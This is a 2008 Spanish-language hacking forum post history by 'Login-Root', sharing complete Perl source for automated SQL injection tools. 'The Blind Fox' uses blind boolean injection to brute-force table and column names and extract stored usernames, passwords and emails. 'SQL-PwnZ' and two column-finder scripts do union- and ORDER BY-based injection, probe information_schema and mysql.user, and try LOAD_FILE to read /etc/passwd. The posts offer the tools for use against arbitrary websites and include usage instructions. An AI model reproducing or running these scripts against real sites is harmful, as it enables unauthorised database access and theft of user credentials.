|
Mostrar Mensajes
|
Páginas: 1 [2] 3
|
11
|
Programación / Scripting / Re: The Blind Fox v0.5 | By Login-Root
|
en: 11 Octubre 2008, 23:48 pm
|
ACTUALIZACIÓN v0.5:- Ahora se puede extraer valores de las tablas (usuarios, passwords, mails, etc.)
____________ Ahora si pueden extraer valores, ya que mucha gente me lo pidió. Por favor comenten ya que tarde bastante en codearlo y pensarlo . NO DEFACEEN LA WEB DE PRUEBA, NO SEAN LAMMERS.Saludos.
|
|
|
12
|
Programación / Scripting / The Blind Fox v0.5 | By Login-Root
|
en: 4 Octubre 2008, 22:38 pm
|
Es semejante a la SQL-PwnZ pero para Inyecciones a ciegas (Blind SQL Inyection). Esta en etapa hiperbeta asi que no se asombren si les sale algunos errores inexplicables xD.blindfox.pl#!/usr/bin/perl
########################################################################################### # -[+]- The Blind Fox v0.5 | By Login-Root -[+]- ### ###########################################################################################
########################################################################################### # [+] inf0: ### ########################################################################################### # Busca: ### # ====== ### # - Checkeo AND 1=1 && AND 1=0 ### # - Information_Schema && MySQL.User ### # - Tablas ### # - Columnas ### # - Extrae valores de las tablas (Opcional) ### # ### # ...y guarda todo en un archivo de texto. ### # ### ###########################################################################################
########################################################################################### # [+] Use: ### ########################################################################################### # perl blindfox.pl [WEBSITE] [PATRON] [FILE] [-EXT] ### # [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido) ### # [PATRON]: Patron que exista con AND 1=1 y que no exista con AND 1=0 ### # [FILE]: Archivo donde guardar informe ### # [-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional) ### ###########################################################################################
########################################################################################### # [+] c0ntact: ### ########################################################################################### # MSN: no.more@passport.com ### # Jabber: login-root@x23.eu ### # E-Mail: login_root@yahoo.com.ar ### ###########################################################################################
########################################################################################### # [+] sh0utz: ### ########################################################################################### # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ### # Many thanks to boER, who teach me a little of perl ;D ### # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM ### ###########################################################################################
use LWP::Simple;
if(!$ARGV[2]) { print "\n\n-[+]- The Blind Fox v0.5 | By Login-Root -[+]-\n=============================================="; print "\n\nUso: perl $0 [WEBSITE] [PATRON] [FILE] [-EXT]\n"; print "\n[WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)\n[PATRON]: Patron que exista con AND 1=1 y que no exista con AND 1=0\n[FILE]: Archivo donde guardar informe\n[-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional)\n\n"; exit (0); } sub end() { print WEB "\n\n\n[*EOF*]"; print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (0); }
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario', 'name','names','nombre','nombres','member','members','admin_table', 'miembro','miembros','membername','admins','administrator','sign', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email', 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login', 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
if ( $ARGV[0] !~ /^http:/ ) { $ARGV[0] = "http://" . $ARGV[0]; }
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n"; print WEB "[WEBSITE]:\n\n$ARGV[0]\n"; print "\n[!] Chequeando por el patron...\n"; $sql=$ARGV[0]." AND 1=1"; $response=get($sql); if($response =~ /$ARGV[1]/) { print "\n[+] Patron encontrado con AND 1=1\n"; print WEB "$sql => OK !\n"; $sql=$ARGV[0]." AND 1=0"; $response=get($sql); if($response =~ /$ARGV[1]/) { print "[-] Patron encontrado tambien con AND 1=0, posiblemente no vulnerable a Blind SQL Inyection, probar con otro patron\n"; exit (0); } else { print "[+] Patron no encontrado con AND 1=0, website vulnerable a Blind SQL Inyection\n"; print WEB "$sql => OK !\n"; } } else { print "[-] Patron no encontrado, probar con otro\n"; exit (0); } print "\n[!] Chequeando si existe Information_Schema..."; $sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)"; $response=get($sql); if($response =~ /$ARGV[1]/) { print "\n[+] Information_Schema disponible...guardando en $ARGV[2]"; print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n"; } else { print "\n[-] Information_Schema no disponible"; } print "\n[!] Chequeando si existe MySQL.User..."; $sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)"; $response=get($sql); if($response =~ /$ARGV[1]/) { print "\n[+] MySQL.User disponible...guardando en $ARGV[2]"; print WEB "\n\n[MYSQL.USER]:\n\n$sql\n"; } else { print "\n[-] MySQL.User no disponible"; } print "\n\n[!] Bruteando tablas..."; print WEB "\n\n[TABLAS]:\n\n"; foreach $tabla(@nombretabla) { chomp($tabla); $sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")"; $response=get($sql); if($response =~ /$ARGV[1]/) { print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]"; print WEB "$sql\n"; } } print "\n\n[!] Tabla a la cual brutear columnas: "; $tabla.=<STDIN>; chomp($tabla); print WEB "\n\n[COLUMNAS EN $tabla]:\n\n"; foreach $columna(@nombrecolumna) { chomp($columna); $sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")"; $response=get($sql); if ($response =~ /$ARGV[1]/) { print "[+] La columna $columna esta disponible...guardando en $ARGV[2]\n"; print WEB "$sql\n"; } } if ($ARGV[3] =~ /-EXT/) { extrac: $columna = ''; print "\n[!] Columna de la tabla $tabla a la cual extraer campos: "; $columna.=<STDIN>; chomp($columna); print "[!] Extrayendo valores de la tabla $tabla y columna $columna (puede demorar mucho tiempo)...\n\n"; print WEB "\n\n[Valores de la tabla $tabla y columna $columna]:\n\n"; $search = 1; $posicion = 1; $limit = 0; $comprob = 1; while ($search <= 255) { $sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search; $response=get($sql); if ($response =~ /$ARGV[1]/) { $char = chr($search); print WEB "$char"; print "$char"; $search = 0; $posicion++; $comprob++; } if ($search == 255) { print "\n"; print WEB "\n"; if ($comprob == 1) { $eleccion = ''; print "[+] Busqueda finalizada. Desea extraer valores de otra columna? [Y/N]: "; $eleccion.=<STDIN>; chomp($eleccion); if ($eleccion =~ /Y/) { goto extrac; } else { end(); } } $comprob = 1; $search = 0; $limit++; } $search++; } } end(); Ejemplo de uso:Texto de salida:Dos cosas importantes a tener en cuenta, primero la web se debe ingresar con un numero valido (Por ejemplo http://www.web.com/index.php?id=4875) no dejen vacio el campo id (o el que fuera) porque sino no va a funcionar. Otro punto importante, el patron es aquel texto que es visible (que existe) cuando ingresamos a la web de la siguiente manera => http://www.web.com/index.php?id=4875 AND 1=1 y que NO es visible (no existe) cuando ingresamos con un AND falso => http://www.web.com/index.php?id=4875 AND 1=0Espero que entiendan, cualquier cosa, comentan. ACTUALIZACIÓN v0.5:- Ahora se puede extraer valores de las tablas (usuarios, passwords, mails, etc.)
|
|
|
13
|
Programación / Scripting / Re: [+] SQL-PwnZ v1.1 | By Login-Root
|
en: 30 Agosto 2008, 04:03 am
|
ACTUALIZACIÓN v1.1:- Añadida opcion para no hacer el chequeo inicial (Chequeo de web vulnerable) (-NOCHECK).
- Añadido chequeo por si te olvidaste el http:// .
- FiX Columnas cuando la web tenia 1 sola columna.
- Mas bugs fixeados.
|
|
|
19
|
Programación / Scripting / [+] SQL-PwnZ v1.1 | By Login-Root
|
en: 17 Julio 2008, 23:40 pm
|
Que les guste y que les sirva #!/usr/bin/perl
########################################################################################### # -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]- ### ###########################################################################################
########################################################################################### # [+] inf0: ### ########################################################################################### # Busca: ### # ====== ### # - Nº de columnas ### # - Information_Schema && MySQL.User ### # - LOAD_FILE ### # - Tablas ### # - Columnas ### # ### # ...y guarda todo en un archivo de texto. ### # ### ###########################################################################################
########################################################################################### # [+] Use: ### ########################################################################################### # perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK] ### # [WEBSITE]: http://www.web.com/index.php?id= ### # [COLUMNS]: Limite de columnas ### # [FILE]: Archivo donde guardar web vulnerable ### # [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional) ### # [-T]: Intentar brutear tablas (Opcional) ### # [-C]: Intentar brutear columnas (Opcional) ### # [-NOCHECK]: No hacer el chequeo inicial (Opcional) ### ###########################################################################################
########################################################################################### # [+] c0ntact: ### ########################################################################################### # MSN: no.more@passport.com ### # Jabber: login-root@x23.eu ### # E-Mail: login_root@yahoo.com.ar ### ###########################################################################################
########################################################################################### # [+] sh0utz: ### ########################################################################################### # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor ### # Many thanks to boER, who teach me a little of perl ;D ### # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM ### ###########################################################################################
use LWP::Simple;
if(!$ARGV[2]) { print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n========================================="; print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n"; print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n"; exit (0); } @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario', 'name','names','nombre','nombres','usuarios','member','members','admin_table', 'miembro','miembros','membername','admins','administrator', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contrasena','auth','key','senha', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email', 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author', 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
if ( $ARGV[0] !~ /^http:/ ) { $ARGV[0] = "http://" . $ARGV[0]; }
if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--") { $cmn.= "+"; $cfin.="--"; print "\n[+] Comentarios a utilizar: '--' & '+'"; } else { $cmn.= "/**/"; $cfin.= "/*"; print "\n[+] Comentarios a utilizar: '/*' & '/**/'"; }
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n"; if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK") { print "\n[!] Se omite el chequeo inicial...\n"; print WEB "[WEBSITE]:\n\n$ARGV[0]\n"; } else { print "\n[!] Chequeando si la web es vulnerable...\n"; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin; $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n"); if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/) { print "[+] Web vulnerable, continua el script...\n"; print WEB "[WEBSITE]:\n\n$ARGV[0]\n"; } else { print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n"; exit(1); } } print "\n[!] Buscando columnas...\n"; for ($column = 0 ; $column < $ARGV[1] ; $column ++) { $union.=','.$column; $inyection.=','."0x6c6f67696e70776e7a"; if ($column == 0) { print WEB "\n[COLUMNAS]:\n\n"; $inyection = ''; $union = ''; } $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin; $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n"); if($response =~ /loginpwnz/) { $column ++; print "[+] La web posee $column columnas\n\n"; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin; print "$sql\n"; print WEB "$sql\n"; print "\n[!] Chequeando si existe Information_Schema..."; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin; $response=get($sql)or die("[-] Imposible obtener Information_Schema\n"); if($response =~ /loginpwnz/) { print "\n[+] Information_Schema disponible...guardando en $ARGV[2]"; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin; print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n"; } else { print "\n[-] Information_Schema no disponible"; } print "\n[!] Chequeando si existe MySQL.User..."; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin; $response=get($sql)or die("[-] Imposible obtener MySQL.User\n"); if($response =~ /loginpwnz/) { print "\n[+] MySQL.User disponible...guardando en $ARGV[2]"; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin; print WEB "\n\n[MYSQL.USER]:\n\n$sql\n"; } else { print "\n[-] MySQL.User no disponible"; } while ($loadcont < $column-1) { $loadfile.=','.'load_file(0x2f6574632f706173737764)'; $loadcont++; } print "\n[!] Chequeando si es posible inyectar LOAD_FILE..."; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin; $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n"); if($response =~ /root:x:0:0/) { print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]"; print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n"; } else { print "\n[-] LOAD_FILE no disponible"; } if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T") { print "\n\n[!] Bruteando tablas..."; print WEB "\n\n[TABLAS]:\n\n"; foreach $tabla(@nombretabla) { chomp($tabla); $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin; $response=get($sql)or die("[-] Imposible obtener tablas\n"); if($response =~ /loginpwnz/) { print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]"; $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin; print WEB "$sql\n"; } } } if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C") { print "\n\n[!] Tabla a la cual brutear columnas: "; $tabla.=<STDIN>; chomp($tabla); print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n"; foreach $columna(@nombrecolumna) { chomp($columna); $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin; $response=get($sql)or die("[-] Imposible obtener columnas\n"); if ($response =~ /loginpwnz/) { print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]"; print WEB "$columna\n"; } } } print WEB "\n\n\n[*EOF*]"; print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (0); } } print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (0); Ejemplo de uso:Archivo de texto de salida:Comenten Saludos.ACTUALIZACIÓN v0.7:- Analiza si LOAD_FILE esta disponible.
- Mejor codigo.
ACTUALIZACIÓN v0.8:- FiX LOAD_FILE (No funcionaba correctamente).
- FiX Columnas (En algunos casos no las encontraba bien).
ACTUALIZACIÓN v0.9:- Se puede elegir el comentario a utilizar ("/*" o "--").
- Alguna que otra cosa fixeada.
ACTUALIZACIÓN v1.0:- Mas nombres de tablas y de columnas agregadas.
- Mejor code.
- Mas bugs fixeados.
ACTUALIZACIÓN v1.1:- Añadida opcion para no hacer el chequeo inicial (Chequeo de web vulnerable) (-NOCHECK).
- Añadido chequeo por si te olvidaste el http:// .
- FiX Columnas cuando la web tenia 1 sola columna.
- Mas bugs fixeados.
|
|
|
20
|
Programación / Scripting / [+] MySQL Column Finder v2
|
en: 13 Julio 2008, 01:20 am
|
Hago otro thread para no enredar mucho el otro xD. v2 de mi buscador de columnas UTILIZANDO ORDER:#!/usr/bin/perl
########################################################################################### # Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER. ### # By Login-Root ### # MSN: no.more@passport.com ### # Jabber: login-root@x23.eu ### # E-Mail: login_root@yahoo.com.ar ### # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM ### # Many thanks to boER, who teach me a little of perl ;D ### # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ### ###########################################################################################
use LWP::Simple;
if(!$ARGV[2]) { print "\n\n## c0ded by Login-Root | 2008 ##"; print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n"; print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n"; exit (1); }
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n"; $column=1; $count=1; while ($column <= $ARGV[1]) { $sql=$ARGV[0]."-1+order+by+".$column."--"; $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/) { print "\n[+] Fallo el intento de obtener $column columnas\n"; $column --; if ($column == 0) { $column ++; } $sql=$ARGV[0]."-1+order+by+".$column."--"; print "[+] La web tiene $column columnas:\n\n"; print "$sql\n\n"; print WEB "$sql\n"; while ($count < $column) { $union.=','.$count; $count++; } print "\n[+] Chequeando si existe Information_Schema..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--"; $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] Information_Schema no disponible"; } else { print "\n[+] Information_Schema disponible...guardando en $ARGV[2]"; print WEB "$sql\n"; } print "\n[+] Chequeando si existe MySQL.User..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--"; $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] MySQL.User no disponible\n\n"; } else { print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n"; print WEB "$sql\n"; } print "[+] Todo salvado correctamente en $ARGV[2]\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (1); } else { print "\n[!] Sin error al intentar con $column columnas"; $column ++; } } print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n"; exit (1); Ejemplo:_______________________________________________________________________________ UTILIZANDO UNION:#!/usr/bin/perl
########################################################################################### # Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia UNION. ### # By Login-Root ### # MSN: no.more@passport.com ### # Jabber: login-root@x23.eu ### # E-Mail: login_root@yahoo.com.ar ### # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM ### # Many thanks to boER, who teach me a little of perl ;D ### # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ### ###########################################################################################
use LWP::Simple;
if(!$ARGV[2]) { print "\n\n## c0ded by Login-Root | 2008 ##"; print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n"; print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n"; exit (1); }
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n"; $column=0;
while ($column <= $ARGV[1]) { $union.=','.$column; if ($column == 0) { $union=''; } $sql=$ARGV[0]."-1+union+all+select+0".$union."--"; $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/) { $column ++; print "\n[!] Fallo el intento de obtener $column columnas"; } else { $column ++; print "\n[+] La web posee $column columnas\n\n"; print "$sql\n\n"; print WEB "$sql\n"; print "\n[+] Chequeando si existe Information_Schema..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--"; $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] Information_Schema no disponible"; } else { print "\n[+] Information_Schema disponible...guardando en $ARGV[2]"; print WEB "$sql\n"; } print "\n[+] Chequeando si existe MySQL.User..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--"; $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] MySQL.User no disponible\n\n"; } else { print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n"; print WEB "$sql\n"; } print "[+] Todo salvado correctamente en $ARGV[2]\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (1); } } print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n"; exit (1); Ejemplo:Saludos.
|
|
|
|
|
|
|